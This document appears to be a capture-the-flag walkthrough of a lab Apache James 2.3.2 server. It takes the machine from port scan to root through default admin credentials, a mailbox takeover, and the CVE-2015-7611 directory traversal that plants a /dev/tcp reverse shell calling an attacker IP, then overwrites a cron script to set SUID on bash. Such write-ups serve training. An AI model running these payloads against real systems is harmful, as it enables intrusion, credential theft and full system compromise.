
Reconnaissance & Service Discovery
First, a fast port scan was conducted using rustscan to identify open TCP ports:
rustscan -a 10.10.10.51 --range 1-65535 -- -sVC
The scan revealed the following ports:
- Port 22 (SSH): Open, running OpenSSH.
- Port 25 (SMTP): Open, running Apache James SMTP.
- Port 80 (HTTP): Open, running Apache HTTP Server.
- Port 110 (POP3): Open, running Apache James POP3.
- Port 119 (NNTP): Open, running Apache James NNTP.
- Port 4555 (Remote Administration): Open, service unidentified by standard script scan.
Connecting to the unknown service on port 4555 using telnet confirmed it was the Apache James Remote Administration Tool 2.3.2:
telnet 10.10.10.51 4555
It requested administrator credentials. Researching the service revealed standard default credentials of root / root.
Initial Access & Restricted Shell Bypass
1. Enumerating Mailboxes
By logging into the Remote Administration port using the default credentials, we listed all registered users on the mail server:
listusers
Existing users:
jamesthomasjohnmindymailadmin
Since we can manage users, we reset mindy‘s password to read her mailbox:
setpassword mindy mindy
Next, we connected to the POP3 service on port 110 using telnet to inspect her emails:
telnet 10.10.10.51 110
Authentication:
USER mindy
PASS mindy
Checking the messages:
LIST
We retrieved the second email:
RETR 2
This email contained SSH credentials for the user mindy on the machine.
2. Apache James Directory Traversal (CVE-2015-7611)
Logging in via SSH directly as mindy drops us into a restricted shell (rbash), limiting our command execution capability. To bypass this restriction and obtain a fully interactive, unrestricted shell, we exploited a directory traversal vulnerability in Apache James 2.3.2.
When creating a new user, Apache James constructs the mail storage directory path using the username without checking for directory traversal sequences. By creating a user with directory traversal characters, we can target /etc/bash_completion.d/:
- Log in to the administration console (port 4555):
telnet 10.10.10.51 4555 - Create a user targeting the bash completion folder:
adduser ../../../../etc/bash_completion.d exploit - Connect to the SMTP server on port 25 to send an email to the newly created user:
telnet 10.10.10.51 25Provide the SMTP commands to write our reverse shell payload:HELO attacker.local MAIL FROM: <attacker@attacker.local> RCPT TO: <../../../../etc/bash_completion.d> DATA # # sh -i >& /dev/tcp/10.10.14.23/9001 0>&1 .Note: Apache James writes the email headers and body to the destination file. Prefixing the payload with#ensures that the headers are treated as comments when bash completion sources the script. - Spawn a listener on the attacker machine (e.g., using
penelopeornc):nc -lvnp 9001 - Authenticate via SSH with mindy’s credentials:
ssh mindy@10.10.10.51When the SSH login succeeds, bash is initialized and sources the scripts under/etc/bash_completion.d/. This executes our reverse shell script and provides an unrestricted shell on our listener.
Privilege Escalation
After establishing a stable shell as mindy, we enumerated the system for privilege escalation vectors. Inspecting the /opt directory revealed a Python script named tmp.py which appears to remove temporary files from /tmp.
To check if it was being executed periodically, we transferred and ran the pspy binary (used to monitor processes without root privileges).
Using the penelope listener file upload feature:
- Press
F12inside the penelope terminal session. - Run the command:
upload /usr/share/pspy/pspy32 - Mark it executable and run it on the target system:
chmod +x pspy32 ./pspy32
The pspy output confirmed that every 3 minutes, a root cronjob executes:
/bin/sh -c python /opt/tmp.py
Checking the permissions of /opt/tmp.py:
ls -la /opt/tmp.py
The file was writable by the mindy user. We modified the script to grant SUID permissions to /bin/bash instead of clearing /tmp:
echo 'import os; os.system("chmod u+s /bin/bash")' > /opt/tmp.py
We monitored /bin/bash permissions:
watch -n 1 "ls -la /bin/bash"
After a few minutes, the SUID bit (s) appeared on /bin/bash. We then spawned a root shell by executing:
/bin/bash -p